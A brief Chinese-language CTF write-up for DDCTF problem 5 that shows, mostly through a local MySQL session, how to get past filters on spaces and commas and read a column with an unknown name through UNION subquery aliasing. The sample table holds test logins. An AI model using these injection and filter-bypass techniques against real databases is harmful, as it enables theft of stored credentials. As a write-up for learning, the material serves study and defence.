本文介紹的是DDCTF第五題,繞過(guò)未知字段名的技巧,這里拿本機(jī)來(lái)操作了下,思路很棒也很清晰,分享給大家,下面來(lái)看看詳細(xì)的介紹:
題目過(guò)濾空格和逗號(hào),空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號(hào)都可以繞過(guò),逗號(hào)使用join繞過(guò);
存放flag的字段名未知,information_schema.columns也將表名的hex過(guò)濾了,即獲取不到字段名;這時(shí)可以利用聯(lián)合查詢,過(guò)程如下:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4 |
+-------------+
| 4 |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
+-------------+
| 4 |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id | username | password | email |
+-------------+----------+----------+-------------+
| 1 | admin | admin888 | 110@110.com |
| 120@120.com | 1 | 1 | 1 |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)
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